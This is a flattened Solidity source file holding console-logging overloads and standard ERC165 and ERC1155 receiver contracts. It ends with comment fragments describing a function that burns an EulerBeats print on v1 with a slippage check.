_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC1155Receiver.sol"; import "../../introspection/ERC165.sol"; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { constructor() internal { _registerInterface( ERC1155Receiver(address(0)).onERC1155Received.selector ^ ERC1155Receiver(address(0)).onERC1155BatchReceived.selector ); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../introspection/IERC165.sol"; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Function to burn a print seed The seed for the print to burn. minimumSupply The minimum token supply for burn to succeed, this is a way to set slippage. Set to 1 to allow burn to go through no matter what the price is./ Check that seed is one of hard-coded 27 Get token id for prints Transfer 1 EB print @ tokenID from msg.sender to this contract (requires approval) Enable EulerBeats Burn print on v1, should receive the funds here Disable EulerBeats
